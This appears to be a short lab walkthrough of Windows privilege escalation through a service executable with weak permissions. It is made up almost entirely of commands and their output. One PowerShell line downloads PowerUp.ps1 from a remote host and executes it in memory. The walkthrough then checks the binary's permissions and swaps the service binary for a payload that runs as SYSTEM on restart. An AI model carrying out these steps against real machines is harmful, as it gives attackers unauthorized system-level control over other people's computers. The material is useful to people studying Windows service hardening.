C:\>icacls "C:\Setup\Vuln Service\VulnService.exe"
C:\Setup\Vuln Service\VulnService.exe BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
PS C:\> iex(new-object net.webclient).DownloadString('http://192.168.19.134/PowerUp.ps1')
[*] Checking service executable and argument permissions...
[*] Running Invoke-AllChecks
ServiceName : VulnService
Path : C:\Setup\Vuln Service\VulnService.exe
ModifiableFile : C:\Setup\Vuln Service\VulnService.exe
ModifiableFilePermissions : {Delete, WriteAttributes, Synchronize, ReadControl...}
ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'VulnService'
CanRestart : False
C:\Setup\Vuln Service>rename VulnService.exe VulnService.bak
C:\Setup\Vuln Service>rename Vuln.exe VulnService.exe
Once the service gets restarted, your payload should execute.